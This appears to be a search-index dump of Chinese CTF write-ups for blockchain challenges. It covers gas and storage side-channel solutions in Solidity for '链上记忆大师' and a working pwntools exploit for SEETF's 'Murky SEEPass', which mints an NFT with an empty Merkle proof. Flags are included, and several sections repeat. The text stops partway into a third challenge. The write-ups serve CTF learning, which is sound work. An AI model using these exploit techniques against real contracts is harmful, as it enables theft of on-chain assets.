\u82e5\u51fd\u6570 memorize \u6545\u610f\u6d88\u8017\u6389 x \u6c7d\u6cb9\uff0c\u90a3\u4e48\u4f20\u5165 recall \u7684\u6c7d\u6cb9\u91cf\u4e3a (50000000 - k - x) * 63 / 64 \u3002 \\(50000000\\) \u6620\u5c04\u5230 \\(2^{16}\\) \uff0c\u6bcf\u4e2a\u533a\u95f4\u7ea6 \\(763\\) \u6c7d\u6cb9\uff0c\u8003\u8651\u5230 63/64 \uff0c\u53ef\u4ee5\u4ee5 \\(720\\) \u4e3a\u4e00\u4e2a\u5355\u4f4d gasleft() \u5305\u542b GAS \u64cd\u4f5c\u7801\uff0c\u83b7\u53d6\u8be5\u64cd\u4f5c\u6267\u884c\u7ed3\u675f\u540e\u5269\u4f59\u7684\u6c7d\u6cb9\u91cf 2 \u9996\u5148\u53ef\u5229\u7528 revert \u83b7\u5f97\u6267\u884c\u5230\u51fd\u6570 recall \u7684\u5269\u4f59\u6c7d\u6cb9\u91cf\uff0c\u5e76\u8ba1\u7b97\u51fa k pragma solidity 0.8.17 ; import \"@openzeppelin/contracts/utils/Strings.sol\" ; contract MemoryMaster { function memorize ( uint16 n ) public { uint256 g = gasleft (); while ( gasleft () > g - 720 * uint256 ( n )) gasleft (); } function recall () public view returns ( uint16 ) { uint256 n = gasleft (); revert ( Strings . toString ( n )); return uint16 ( n ); } } \u63d0\u4ea4\u5b57\u8282\u7801\u5230\u670d\u52a1\u5668\uff0c\u7531\u6b64\u53ef\u5927\u81f4\u7b97\u51fa k = 30040 ( (50000000 - k - 27688 * 720) * 63 / 64 = 29565309 ) Testing 1 /10... n = 27688 ... web3.exceptions.ContractLogicError: execution reverted: 29565309 Exploit \u00b6 pragma solidity 0.8.17 ; contract MemoryMaster { function memorize ( uint16 n ) public { uint256 g = gasleft (); while ( gasleft () > g - 720 * uint256 ( n )) gasleft (); } function recall () public view returns ( uint16 ) { return uint16 (( 50000000 - 30040 - gasleft () * 64 / 63 ) / 720 ); } } Flag \u00b6 flag{Gas_gAs_gaS_c4n_b3_us3d_aS_s1de_ChaNNel_5a01148fd5} \u7ec8\u6781\u6311\u6218 \u00b6 \u51fd\u6570 memorize \u6dfb\u52a0\u4e86 view \u4fee\u9970\u7b26\uff0c\u56e0\u800c\u4e0d\u80fd\u4fee\u6539\u72b6\u6001\u53d8\u91cf\uff0c\u800c n \u7684\u7c7b\u578b\u53c8\u6062\u590d\u4e3a uint256 \uff0c\u4e0a\u4e00\u9898\u7684\u7b56\u7565\u4e5f\u4e0d\u80fd\u518d\u4f7f\u7528 \u4e00\u90e8\u5206\u64cd\u4f5c\u7801\uff0c\u5982 SSTORE \u3001 SLOAD \uff0c\u6d88\u8017\u7684\u6c7d\u6cb9\u91cf\u4e0e\u8bbf\u95ee\u7684\u4f4d\u7f6e\u662f\u5426\u662f\u521d\u6b21\u8bbf\u95ee\u6709\u5173\uff0c\u51b7\u8bbf\u95ee\u8981\u6d88\u8017\u66f4\u591a\u7684\u6c7d\u6cb9 \u53ef\u4ee5\u901a\u8fc7\u6545\u610f\u8bbf\u95ee\u4e00\u4e9b\u7279\u5b9a\u7684\u4f4d\u7f6e\u6765\u5411 recall \u4f20\u9012 n \u7684\u503c\uff0c\u53ef\u4ee5\u4f7f\u7528 SLOAD \uff0c\u8bbf\u95ee\u51b7/\u70ed\u5b58\u50a8\u4f4d\u7f6e\u7684\u5f00\u9500\u5206\u522b\u4e3a 2100 / 100 \uff0c\u6216\u501f\u52a9\u4e8e\u5176\u5b83 ADDRESS_TOUCHING_OPCODES \u3001 STORAGE_TOUCHING_OPCODES pragma solidity 0.8.17 ; contract MemoryMaster { mapping ( uint16 => bool ) access ; function memorize ( uint256 n ) external view { for ( uint16 i = 0 ; i < 256 ; i ++ ) { if (( n >> i ) & 1 != 0 ) access [ i ]; } } function recall () external view returns ( uint256 ) { uint256 n = 0 ; for ( uint16 i = 256 ; i > 0 ; i -- ) { // i \u51cf\u5230 -1 \u4f1a\u5bfc\u81f4 revert n <<= 1 ; uint256 g = gasleft (); access [ i - 1 ]; if ( g - gasleft () < 1000 ) n += 1 ; } return n ; } } \u72b6\u6001\u56de\u6eda\u5305\u62ec\u5730\u5740\u548c\u5b58\u50a8\u4f4d\u7f6e\u7684\u51b7\u70ed\u72b6\u6001 Flag \u00b6 flag{EVM_1s_c0mPl1c4ted_bUt_Rea11y_FuN_T0_d1g_Deeper_9d3b7f6932} \u53c2\u8003\u8d44\u6599 \u00b6 EIP-2929: Gas cost increases for state access opcodes Appendix - Dynamic Gas Costs Command-line Options | Go Ethereum \u21a9 EVM Codes - An Ethereum Virtual Machine Opcodes Interactive Reference \u21a9","title":"\u94fe\u4e0a\u8bb0\u5fc6\u5927\u5e08"},{"location":"blockchain/memory_master_on_the_chain/#_1","text":"\u542c\u8bf4\u4f60\u5728\u533a\u5757\u94fe\u4e0a\u90e8\u7f72\u7684\u667a\u80fd\u5408\u7ea6\u6709\u8fc7\u76ee\u4e0d\u5fd8\u7684\u80fd\u529b\u3002 main.py from web3 import Web3 from web3.middleware import geth_poa_middleware import os import json import time import shutil challenge_id = int ( input ( 'The challenge you want to play (1 or 2 or 3): ' )) assert challenge_id == 1 or challenge_id == 2 or challenge_id == 3 player_bytecode = bytes . fromhex ( input ( 'Player bytecode: ' )) print ( 'Launching geth...' ) shutil . copytree ( '/data' , '/dev/shm/geth' ) os . system ( 'geth --datadir /dev/shm/geth --nodiscover --mine --unlock 0x2022af4DCbb9dA7F41cBD3dD8CdB4134D4e6DDe6 --password password.txt --verbosity 0 --datadir.minfreedisk 0 &' ) time . sleep ( 2 ) w3 = Web3 ( Web3 . IPCProvider ( '/dev/shm/geth/geth.ipc' )) w3 . middleware_onion . inject ( geth_poa_middleware , layer = 0 ) w3 . eth . default_account = w3 . eth . accounts [ 0 ] w3 . geth . personal . unlock_account ( w3 . eth . default_account , open ( 'password.txt' ) . read () . strip ()) print ( 'Deploying challenge contract...' ) bytecode , abi = json . load ( open ( f 'contract { challenge_id } .json' )) Challenge = w3 . eth . contract ( abi = abi , bytecode = bytecode ) tx_hash = Challenge . constructor () . transact () tx_receipt = w3 . eth . wait_for_transaction_receipt ( tx_hash ) print ( 'Challenge contract address:' , tx_receipt . contractAddress ) challenge = w3 . eth . contract ( address = tx_receipt . contractAddress , abi = abi ) print ( 'Deploying player contract...' ) tx_hash = w3 . eth . send_transaction ({ 'to' : None , 'data' : player_bytecode }) tx_receipt = w3 . eth . wait_for_transaction_receipt ( tx_hash ) print ( 'Player contract address:' , tx_receipt . contractAddress ) for i in range ( 10 ): print ( f 'Testing { i + 1 } /10...' ) if challenge_id == 2 : n = int . from_bytes ( os . urandom ( 2 ), 'big' ) else : n = int . from_bytes ( os . urandom ( 32 ), 'big' ) print ( f 'n = { n } ' ) if challenge . functions . test ( tx_receipt . contractAddress , n ) . call (): print ( 'Test passed!' ) else : print ( 'Test failed!' ) exit ( - 1 ) print ( open ( f 'flag { challenge_id } ' ) . read ()) compile.py from solcx import compile_source import json for i in 1 , 2 , 3 : compiled_sol = compile_source ( open ( f 'challenge { i } .sol' ) . read (), output_values = [ 'abi' , 'bin' ]) contract_interface = compiled_sol [ ':Challenge' ] bytecode = contract_interface [ 'bin' ] abi = contract_interface [ 'abi' ] json . dump (( bytecode , abi ), open ( f 'contract { i } .json' , 'w' )) genesis.json { \"config\" : { \"chainId\" : 2022 , \"homesteadBlock\" : 0 , \"eip150Block\" : 0 , \"eip155Block\" : 0 , \"eip158Block\" : 0 , \"byzantiumBlock\" : 0 , \"constantinopleBlock\" : 0 , \"petersburgBlock\" : 0 , \"istanbulBlock\" : 0 , \"muirGlacierBlock\" : 0 , \"berlinBlock\" : 0 , \"londonBlock\" : 0 , \"arrowGlacierBlock\" : 0 , \"grayGlacierBlock\" : 0 , \"clique\" : { \"period\" : 0 , \"epoch\" : 30000 } }, \"alloc\" : { \"0x2022af4DCbb9dA7F41cBD3dD8CdB4134D4e6DDe6\" : { \"balance\" : \"0x56bc75e2d63100000\" } }, \"coinbase\" : \"0x0000000000000000000000000000000000000000\" , \"difficulty\" : \"0x1\" , \"gasLimit\" : \"0x1c9c380\" , \"extraData\" : \"0x00000000000000000000000000000000000000000000000000000000000000002022af4dcbb9da7f41cbd3dd8cdb4134d4e6dde60000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\" , \"nonce\" : \"0x0000000000000042\" , \"mixhash\" : \"0x0000000000000000000000000000000000000000000000000000000000000000\" , \"parentHash\" : \"0x0000000000000000000000000000000000000000000000000000000000000000\" , \"timestamp\" : \"0x00\" } Dockerfile FROM ubuntu:22.04 RUN apt update && apt install -y software-properties-common && add-apt-repository -y ppa:ethereum/ethereum && apt update && apt install -y ethereum python3-pip RUN python3 -m pip install web3 py-solc-x RUN python3 -c \"from solcx import install_solc; install_solc(version='latest')\" COPY genesis.json privatekey.txt password.txt main.py challenge1.sol challenge2.sol challenge3.sol compile.py / RUN geth init --datadir data genesis.json RUN geth --datadir data account import --password password.txt privatekey.txt RUN python3 compile.py CMD [ \"/usr/bin/python3\" , \"-u\" , \"/main.py\" ]","title":"\u9898\u76ee"},{"location":"blockchain/memory_master_on_the_chain/#_2","text":"pragma solidity = 0.8.17 ; interface MemoryMaster { function memorize ( uint256 n ) external ; function recall () external view returns ( uint256 ); } contract Challenge { function test ( MemoryMaster m , uint256 n ) external returns ( bool ) { m . memorize ( n ); uint256 recalled = m . recall (); return recalled == n ; } }","title":"\u8bb0\u5fc6\u7ec3\u4e60"},{"location":"blockchain/memory_master_on_the_chain/#_3","text":"pragma solidity = 0.8.17 ; interface MemoryMaster { function memorize ( uint16 n ) external ; function recall () external view returns ( uint16 ); } contract Challenge { function test ( MemoryMaster m , uint16 n ) external returns ( bool ) { try this . memorize_revert ( m , n ) { } catch ( bytes memory ) { } uint16 recalled = m . recall (); return recalled == n ; } function memorize_revert ( MemoryMaster m , uint16 n ) external { m . memorize ( n ); revert (); } }","title":"\u725b\u5200\u5c0f\u8bd5"},{"location":"blockchain/memory_master_on_the_chain/#_4","text":"pragma solidity = 0.8.17 ; interface MemoryMaster { function memorize ( uint256 n ) external view ; function recall () external view returns ( uint256 ); } contract Challenge { function test ( MemoryMaster m , uint256 n ) external returns ( bool ) { m . memorize ( n ); uint256 recalled = m . recall (); return recalled == n ; } }","title":"\u7ec8\u6781\u6311\u6218"},{"location":"blockchain/memory_master_on_the_chain/#_5","text":"\u9700\u8981\u7f16\u5199\u5305\u542b\u51fd\u6570 memorize \u548c\u51fd\u6570 recall \u7684\u5408\u7ea6 MemoryMaster \uff0c\u5408\u7ea6 Challenge \u5c06\u9996\u5148\u8c03\u7528\u51fd\u6570 memorize \u5e76\u4f20\u5165\u53c2\u6570 n \uff0c\u968f\u540e\u8c03\u7528\u51fd\u6570 recall \u5e76\u671f\u671b\u8fd4\u56de n \u3002","title":"\u89e3\u9898\u601d\u8def"},{"location":"blockchain/memory_master_on_the_chain/#_6","text":"\u672c\u9898\u6ca1\u6709\u5bf9\u51fd\u6570 memorize \u548c\u51fd\u6570 recall \u8fdb\u884c\u4efb\u4f55\u9650\u5236\uff0c\u56e0\u800c\u53ef\u4ee5\u76f4\u63a5\u501f\u52a9\u72b6\u6001\u53d8\u91cf\u3002 pragma solidity 0.8.17 ; contract MemoryMaster { uint256 n ; function memorize ( uint256 _n ) public { n = _n ; } function recall () public view returns ( uint256 ) { return n ; } }","title":"\u8bb0\u5fc6\u7ec3\u4e60"},{"location":"blockchain/memory_master_on_the_chain/#flag","text":"flag{Y0u_Ar3_n0w_f4M1l1ar_W1th_S0l1dity_st0rage_dd0d6977ef}","title":"Flag"},{"location":"blockchain/memory_master_on_the_chain/#_7","text":"\u51fd\u6570 memorize \u88ab\u8c03\u7528\u540e\u5373 revert \uff0c\u5c3d\u7ba1\u7531\u4e8e try/catch \u7684\u5b58\u5728\uff0c\u4e0d\u5f71\u54cd\u540e\u7eed\u64cd\u4f5c\uff0c\u4f46\u65e0\u6cd5\u518d\u4f7f\u7528\u72b6\u6001\u53d8\u91cf\u6765\u4f20\u9012 n \u503c \u4fbf\u60f3\u5230\u53ef\u4ee5\u501f\u52a9 gasleft() \uff0c\u6c7d\u6cb9\u7684\u6d88\u8017\u4e0d\u53d7\u56de\u6eda\u7684\u5f71\u54cd\uff0c\u5e76\u4e14 n \u7684\u7c7b\u578b\u4e5f\u7531 uint256 \u8c03\u6574\u4e3a\u4e86 uint16 \uff0c\u4e0d\u8fc7\u5b9e\u65bd\u8d77\u6765\u5c31\u6ca1\u90a3\u4e48\u7b80\u5355\u4e86 :( \u68b3\u7406\u4e00\u4e0b\u5df2\u77e5\u7684\u4fe1\u606f \u4ea4\u6613\u7684\u521d\u59cb\u6c7d\u6cb9\u91cf\u53d7 geth \u7684 --rpc.gascap \u63a7\u5236\uff0c\u9ed8\u8ba4\u4e3a \\(50000000\\) 1 \u6bcf\u6b21\u51fd\u6570\u8c03\u7528\u4f1a\u4f20\u5165\u5269\u4f59\u6c7d\u6cb9\u7684 63/64 \u82e5\u51fd\u6570 memorize \u6545\u610f\u6d88\u8017\u6389 x \u6c7d\u6cb9\uff0c\u90a3\u4e48\u4f20\u5165 recall \u7684\u6c7d\u6cb9\u91cf\u4e3a (50000000 - k - x) * 63 / 64 \u3002 \\(50000000\\) \u6620\u5c04\u5230 \\(2^{16}\\) \uff0c\u6bcf\u4e2a\u533a\u95f4\u7ea6 \\(763\\) \u6c7d\u6cb9\uff0c\u8003\u8651\u5230 63/64 \uff0c\u53ef\u4ee5\u4ee5 \\(720\\) \u4e3a\u4e00\u4e2a\u5355\u4f4d gasleft() \u5305\u542b GAS \u64cd\u4f5c\u7801\uff0c\u83b7\u53d6\u8be5\u64cd\u4f5c\u6267\u884c\u7ed3\u675f\u540e\u5269\u4f59\u7684\u6c7d\u6cb9\u91cf 2 \u9996\u5148\u53ef\u5229\u7528 revert \u83b7\u5f97\u6267\u884c\u5230\u51fd\u6570 recall \u7684\u5269\u4f59\u6c7d\u6cb9\u91cf\uff0c\u5e76\u8ba1\u7b97\u51fa k pragma solidity 0.8.17 ; import \"@openzeppelin/contracts/utils/Strings.sol\" ; contract MemoryMaster { function memorize ( uint16 n ) public { uint256 g = gasleft (); while ( gasleft () > g - 720 * uint256 ( n )) gasleft (); } function recall () public view returns ( uint16 ) { uint256 n = gasleft (); revert ( Strings . toString ( n )); return uint16 ( n ); } } \u63d0\u4ea4\u5b57\u8282\u7801\u5230\u670d\u52a1\u5668\uff0c\u7531\u6b64\u53ef\u5927\u81f4\u7b97\u51fa k = 30040 ( (50000000 - k - 27688 * 720) * 63 / 64 = 29565309 ) Testing 1 /10... n = 27688 ... web3.exceptions.ContractLogicError: execution reverted: 29565309","title":"\u725b\u5200\u5c0f\u8bd5"},{"location":"blockchain/memory_master_on_the_chain/#exploit","text":"pragma solidity 0.8.17 ; contract MemoryMaster { function memorize ( uint16 n ) public { uint256 g = gasleft (); while ( gasleft () > g - 720 * uint256 ( n )) gasleft (); } function recall () public view returns ( uint16 ) { return uint16 (( 50000000 - 30040 - gasleft () * 64 / 63 ) / 720 ); } }","title":"Exploit"},{"location":"blockchain/memory_master_on_the_chain/#flag_1","text":"flag{Gas_gAs_gaS_c4n_b3_us3d_aS_s1de_ChaNNel_5a01148fd5}","title":"Flag"},{"location":"blockchain/memory_master_on_the_chain/#_8","text":"\u51fd\u6570 memorize \u6dfb\u52a0\u4e86 view \u4fee\u9970\u7b26\uff0c\u56e0\u800c\u4e0d\u80fd\u4fee\u6539\u72b6\u6001\u53d8\u91cf\uff0c\u800c n \u7684\u7c7b\u578b\u53c8\u6062\u590d\u4e3a uint256 \uff0c\u4e0a\u4e00\u9898\u7684\u7b56\u7565\u4e5f\u4e0d\u80fd\u518d\u4f7f\u7528 \u4e00\u90e8\u5206\u64cd\u4f5c\u7801\uff0c\u5982 SSTORE \u3001 SLOAD \uff0c\u6d88\u8017\u7684\u6c7d\u6cb9\u91cf\u4e0e\u8bbf\u95ee\u7684\u4f4d\u7f6e\u662f\u5426\u662f\u521d\u6b21\u8bbf\u95ee\u6709\u5173\uff0c\u51b7\u8bbf\u95ee\u8981\u6d88\u8017\u66f4\u591a\u7684\u6c7d\u6cb9 \u53ef\u4ee5\u901a\u8fc7\u6545\u610f\u8bbf\u95ee\u4e00\u4e9b\u7279\u5b9a\u7684\u4f4d\u7f6e\u6765\u5411 recall \u4f20\u9012 n \u7684\u503c\uff0c\u53ef\u4ee5\u4f7f\u7528 SLOAD \uff0c\u8bbf\u95ee\u51b7/\u70ed\u5b58\u50a8\u4f4d\u7f6e\u7684\u5f00\u9500\u5206\u522b\u4e3a 2100 / 100 \uff0c\u6216\u501f\u52a9\u4e8e\u5176\u5b83 ADDRESS_TOUCHING_OPCODES \u3001 STORAGE_TOUCHING_OPCODES pragma solidity 0.8.17 ; contract MemoryMaster { mapping ( uint16 => bool ) access ; function memorize ( uint256 n ) external view { for ( uint16 i = 0 ; i < 256 ; i ++ ) { if (( n >> i ) & 1 != 0 ) access [ i ]; } } function recall () external view returns ( uint256 ) { uint256 n = 0 ; for ( uint16 i = 256 ; i > 0 ; i -- ) { // i \u51cf\u5230 -1 \u4f1a\u5bfc\u81f4 revert n <<= 1 ; uint256 g = gasleft (); access [ i - 1 ]; if ( g - gasleft () < 1000 ) n += 1 ; } return n ; } } \u72b6\u6001\u56de\u6eda\u5305\u62ec\u5730\u5740\u548c\u5b58\u50a8\u4f4d\u7f6e\u7684\u51b7\u70ed\u72b6\u6001","title":"\u7ec8\u6781\u6311\u6218"},{"location":"blockchain/memory_master_on_the_chain/#flag_2","text":"flag{EVM_1s_c0mPl1c4ted_bUt_Rea11y_FuN_T0_d1g_Deeper_9d3b7f6932}","title":"Flag"},{"location":"blockchain/memory_master_on_the_chain/#_9","text":"EIP-2929: Gas cost increases for state access opcodes Appendix - Dynamic Gas Costs Command-line Options | Go Ethereum \u21a9 EVM Codes - An Ethereum Virtual Machine Opcodes Interactive Reference \u21a9","title":"\u53c2\u8003\u8d44\u6599"},{"location":"blockchain/murky_seepass/","tags":["smart contract","data validation","merkle proof"],"text":"#smart contract #data validation #merkle proof .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u9898\u76ee \u00b6 The SEE team has a list of special NFTs that are only allowed to be minted. Find out which one its allowed! nc win.the.seetf.sg 8546 Setup.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^ 0.8.17 ; import \"./SEEPass.sol\" ; contract Setup { SEEPass public immutable pass ; constructor ( bytes32 _merkleRoot ) { pass = new SEEPass ( _merkleRoot ); } function isSolved () external view returns ( bool ) { return pass . balanceOf ( msg . sender ) > 0 ; } } SEEPass.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^ 0.8.17 ; import \"./MerkleProof.sol\" ; import \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" ; contract SEEPass is ERC721 { bytes32 private _merkleRoot ; mapping ( uint256 => bool ) private _minted ; constructor ( bytes32 _root ) ERC721 ( \"SEE Pass\" , \"SEEP\" ) { _merkleRoot = _root ; } function mintSeePass ( bytes32 [] calldata _proof , uint256 _tokenId ) public { require ( ! hasMinted ( _tokenId ), \"Already minted\" ); require ( verify ( _proof , _merkleRoot , _tokenId ), \"Invalid proof\" ); _minted [ _tokenId ] = true ; _safeMint ( msg . sender , _tokenId ); } function verify ( bytes32 [] calldata proof , bytes32 root , uint256 index ) public pure returns ( bool ) { return MerkleProof . verify ( proof , root , index ); } function hasMinted ( uint256 _tokenId ) public view returns ( bool ) { return _minted [ _tokenId ]; } } MerkleProof.sol // SPDX-License-Identifier: Unlicense pragma solidity ^ 0.8.0 ; library MerkleProof { // Verify a Merkle proof proving the existence of a leaf in a Merkle tree. Assumes that each pair of leaves and each pair of pre-images in the proof are sorted. function verify ( bytes32 [] calldata proof , bytes32 root , uint256 index ) internal pure returns ( bool ) { bytes32 computedHash = bytes32 ( abi . encodePacked ( index )); require ( root != bytes32 ( 0 ), \"MerkleProof: Root hash cannot be zero\" ); require ( computedHash != bytes32 ( 0 ), \"MerkleProof: Leaf hash cannot be zero\" ); for ( uint256 i = 0 ; i < proof . length ; i ++ ) { bytes32 proofElement = proof [ i ]; if ( computedHash < proofElement ) { // Hash(current computed hash + current element of the proof) computedHash = keccak256 ( abi . encodePacked ( computedHash , proofElement )); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256 ( abi . encodePacked ( proofElement , computedHash )); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root ; } } \u89e3\u9898\u601d\u8def \u00b6 \u9700\u8981\u901a\u8fc7 mintSeePass() \u83b7\u5f97 NFT \u4f7f\u5f97\u653b\u51fb\u8005\u4f59\u989d\u5927\u4e8e 0 mintSeePass() \u9700\u8981\u63d0\u4f9b MerkleProof \u4ee5\u53ca\u5bf9\u5e94\u7684 _tokenId \uff0c\u800c verify() \u6ca1\u6709\u68c0\u67e5 proof \u6570\u7ec4\u7684\u957f\u5ea6\u662f\u5426\u4e3a 0\uff0c\u56e0\u800c\u53ef\u4ee5\u4f20\u5165\u7a7a\u6570\u7ec4\u5e76\u5c06 _tokenId \uff0c\u5373 index \uff0c\u7684\u503c\u8bbe\u7f6e\u4e3a root function verify ( bytes32 [] calldata proof , bytes32 root , uint256 index ) internal pure returns ( bool ) { bytes32 computedHash = bytes32 ( abi . encodePacked ( index )); require ( root != bytes32 ( 0 ), \"MerkleProof: Root hash cannot be zero\" ); require ( computedHash != bytes32 ( 0 ), \"MerkleProof: Leaf hash cannot be zero\" ); for ( uint256 i = 0 ; i < proof . length ; i ++ ) { bytes32 proofElement = proof [ i ]; if ( computedHash < proofElement ) { // Hash(current computed hash + current element of the proof) computedHash = keccak256 ( abi . encodePacked ( computedHash , proofElement )); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256 ( abi . encodePacked ( proofElement , computedHash )); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root ; } Exploit \u00b6 import pwn from cheb3 import Connection from cheb3.utils import encode_with_signature , decode_data server = pwn . remote ( \"win.the.seetf.sg\" , 8546 ) server . sendlineafter ( b \"action?\" , b \"1\" ) uuid = server . recvline_contains ( b \"uuid\" ) . strip () . split ()[ - 1 ] conn = Connection ( server . recvline_contains ( b \"rpc\" ) . decode () . strip () . split ()[ - 1 ]) account = conn . account ( server . recvline_contains ( b \"private key\" ) . decode () . strip () . split ()[ - 1 ] ) setup_addr = server . recvline_contains ( b \"setup\" ) . decode () . strip () . split ()[ - 1 ] pass_addr = decode_data ( account . call ( setup_addr , encode_with_signature ( \"pass()\" )), [ \"address\" ] ) # get SEEPass instance address merkle_root = decode_data ( conn . get_storage_at ( pass_addr , 6 ), [ \"bytes32\" ] ) # get _merkleRoot account . send_transaction ( pass_addr , data = encode_with_signature ( \"mintSeePass(bytes32[],uint256)\" , [], int . from_bytes ( merkle_root , \"big\" ) ), ) # mint server = pwn . remote ( \"win.the.seetf.sg\" , 8546 ) server . sendlineafter ( b \"action?\" , b \"3\" ) server . sendlineafter ( b \"uuid please:\" , uuid ) server . interactive () Flag \u00b6 SEE{w3lc0me_t0_dA_NFT_w0rld_w1th_SE3pAs5_f3a794cf4f4dd14f9cc7f6a25f61e232}","title":"\ud83c\udf93 Murky SEEPass"},{"location":"blockchain/murky_seepass/#_1","text":"The SEE team has a list of special NFTs that are only allowed to be minted. Find out which one its allowed! nc win.the.seetf.sg 8546 Setup.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^ 0.8.17 ; import \"./SEEPass.sol\" ; contract Setup { SEEPass public immutable pass ; constructor ( bytes32 _merkleRoot ) { pass = new SEEPass ( _merkleRoot ); } function isSolved () external view returns ( bool ) { return pass . balanceOf ( msg . sender ) > 0 ; } } SEEPass.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^ 0.8.17 ; import \"./MerkleProof.sol\" ; import \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" ; contract SEEPass is ERC721 { bytes32 private _merkleRoot ; mapping ( uint256 => bool ) private _minted ; constructor ( bytes32 _root ) ERC721 ( \"SEE Pass\" , \"SEEP\" ) { _merkleRoot = _root ; } function mintSeePass ( bytes32 [] calldata _proof , uint256 _tokenId ) public { require ( ! hasMinted ( _tokenId ), \"Already minted\" ); require ( verify ( _proof , _merkleRoot , _tokenId ), \"Invalid proof\" ); _minted [ _tokenId ] = true ; _safeMint ( msg . sender , _tokenId ); } function verify ( bytes32 [] calldata proof , bytes32 root , uint256 index ) public pure returns ( bool ) { return MerkleProof . verify ( proof , root , index ); } function hasMinted ( uint256 _tokenId ) public view returns ( bool ) { return _minted [ _tokenId ]; } } MerkleProof.sol // SPDX-License-Identifier: Unlicense pragma solidity ^ 0.8.0 ; library MerkleProof { // Verify a Merkle proof proving the existence of a leaf in a Merkle tree. Assumes that each pair of leaves and each pair of pre-images in the proof are sorted. function verify ( bytes32 [] calldata proof , bytes32 root , uint256 index ) internal pure returns ( bool ) { bytes32 computedHash = bytes32 ( abi . encodePacked ( index )); require ( root != bytes32 ( 0 ), \"MerkleProof: Root hash cannot be zero\" ); require ( computedHash != bytes32 ( 0 ), \"MerkleProof: Leaf hash cannot be zero\" ); for ( uint256 i = 0 ; i < proof . length ; i ++ ) { bytes32 proofElement = proof [ i ]; if ( computedHash < proofElement ) { // Hash(current computed hash + current element of the proof) computedHash = keccak256 ( abi . encodePacked ( computedHash , proofElement )); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256 ( abi . encodePacked ( proofElement , computedHash )); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root ; } }","title":"\u9898\u76ee"},{"location":"blockchain/murky_seepass/#_2","text":"\u9700\u8981\u901a\u8fc7 mintSeePass() \u83b7\u5f97 NFT \u4f7f\u5f97\u653b\u51fb\u8005\u4f59\u989d\u5927\u4e8e 0 mintSeePass() \u9700\u8981\u63d0\u4f9b MerkleProof \u4ee5\u53ca\u5bf9\u5e94\u7684 _tokenId \uff0c\u800c verify() \u6ca1\u6709\u68c0\u67e5 proof \u6570\u7ec4\u7684\u957f\u5ea6\u662f\u5426\u4e3a 0\uff0c\u56e0\u800c\u53ef\u4ee5\u4f20\u5165\u7a7a\u6570\u7ec4\u5e76\u5c06 _tokenId \uff0c\u5373 index \uff0c\u7684\u503c\u8bbe\u7f6e\u4e3a root function verify ( bytes32 [] calldata proof , bytes32 root , uint256 index ) internal pure returns ( bool ) { bytes32 computedHash = bytes32 ( abi . encodePacked ( index )); require ( root != bytes32 ( 0 ), \"MerkleProof: Root hash cannot be zero\" ); require ( computedHash != bytes32 ( 0 ), \"MerkleProof: Leaf hash cannot be zero\" ); for ( uint256 i = 0 ; i < proof . length ; i ++ ) { bytes32 proofElement = proof [ i ]; if ( computedHash < proofElement ) { // Hash(current computed hash + current element of the proof) computedHash = keccak256 ( abi . encodePacked ( computedHash , proofElement )); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256 ( abi . encodePacked ( proofElement , computedHash )); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root ; }","title":"\u89e3\u9898\u601d\u8def"},{"location":"blockchain/murky_seepass/#exploit","text":"import pwn from cheb3 import Connection from cheb3.utils import encode_with_signature , decode_data server = pwn . remote ( \"win.the.seetf.sg\" , 8546 ) server . sendlineafter ( b \"action?\" , b \"1\" ) uuid = server . recvline_contains ( b \"uuid\" ) . strip () . split ()[ - 1 ] conn = Connection ( server . recvline_contains ( b \"rpc\" ) . decode () . strip () . split ()[ - 1 ]) account = conn . account ( server . recvline_contains ( b \"private key\" ) . decode () . strip () . split ()[ - 1 ] ) setup_addr = server . recvline_contains ( b \"setup\" ) . decode () . strip () . split ()[ - 1 ] pass_addr = decode_data ( account . call ( setup_addr , encode_with_signature ( \"pass()\" )), [ \"address\" ] ) # get SEEPass instance address merkle_root = decode_data ( conn . get_storage_at ( pass_addr , 6 ), [ \"bytes32\" ] ) # get _merkleRoot account . send_transaction ( pass_addr , data = encode_with_signature ( \"mintSeePass(bytes32[],uint256)\" , [], int . from_bytes ( merkle_root , \"big\" ) ), ) # mint server = pwn . remote ( \"win.the.seetf.sg\" , 8546 ) server . sendlineafter ( b \"action?\" , b \"3\" ) server . sendlineafter ( b \"uuid please:\" , uuid ) server . interactive ()","title":"Exploit"},{"location":"blockchain/murky_seepass/#flag","text":"SEE{w3lc0me_t0_dA_NFT_w0rld_w1th_SE3pAs5_f3a794cf4f4dd14f9cc7f6a25f61e232}","title":"Flag"},{"location":"blockchain/operation_feathered_fortune_fiasco/","tags":["smart contract","abi.encodePacked","collisions"],"text":"#smart contract #abi.encodePacked #collisions .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u9898\u76ee \u00b6 In the dystopian digital landscape of the near future, a cunning mastermind has kickstarted his plan for ultimate dominance by creating an army of robotic pigeons. These pigeons, six in the beginning, are given a sinister mission: to spy on the public, their focus being on individuals amassing significant Ethereum (ETH) holdings. Each pigeon has been tasked with documenting the ETH each person owns, planning for a future operation to swoop in and siphon off these digital assets. The robotic pigeons, however, are not just spies, but also consumers. They are provided with ETH by their creator to cover their operational expenses, making the network of spy birds self-sustaining and increasingly dangerous. The army operates on a merit-based system, where the pigeon agents earn points for their successful missions. These points pave their path towards promotion, allowing them to ascend the ranks of the robotic army. But, the journey up isn't free. They 